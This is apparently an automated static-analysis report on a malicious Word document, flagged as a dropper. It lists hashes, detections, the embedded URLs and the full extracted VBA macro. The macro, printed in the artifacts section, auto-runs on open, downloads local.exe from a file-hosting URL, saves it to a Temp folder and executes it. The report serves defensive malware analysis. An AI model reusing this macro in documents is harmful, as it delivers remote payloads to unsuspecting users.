Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5871b670d6fb64df…

MALICIOUS

Office (OOXML)

17.5 KB Created: 2021-10-31 07:27:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-11-21
MD5: 597289bf13ea02dff3bc9c8ba3ac4811 SHA-1: de3098b23d3a3dff1c2527f235cab4eb3392a658 SHA-256: 5871b670d6fb64df9d1e55dc8d23a81cd339053ff7020afbb02640c519b64aa6
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that utilizes CreateObject to download a file named 'local.exe' from the URL https://cdn-104.anonfiles.com/R7ueH7Raub/4f0f87e4-1635666057/local.exe. The downloaded file is saved to C:\Windows\Temp\local.exe and subsequently executed multiple times using the Shell command. This indicates a dropper functionality designed to fetch and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("C:\Windows\Temp\local.exe")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     .write xHttp.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOPen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://cdn-104.anonfiles.com/R7ueH7Raub/4f0f87e4-1635666057/local.exe Referenced by macro
    • https://cdn-104.anonfiles.com/R7ueH7Raub/4f0f87e4-1635666057/local.exe�Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 822 bytes
SHA-256: c758e701c6e9d3d5104813d8fc58ab91ebd5e4750599760e8c317c3a76f0e4f5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOPen()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://cdn-104.anonfiles.com/R7ueH7Raub/4f0f87e4-1635666057/local.exe", False
xHttp.Send

With bStrm
 .Type = 1 '//binary
 .Open
 .write xHttp.responseBody
 .savetofile "C:\Windows\Temp\local.exe", 2 '//overwrite
End With

Shell ("C:\Windows\Temp\local.exe")
Shell ("C:\Windows\Temp\local.exe")
Shell ("C:\Windows\Temp\local.exe")

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 7803659c2d09886a65f3143cf4e807aacb95af72facccf8e5a7fe87952993788
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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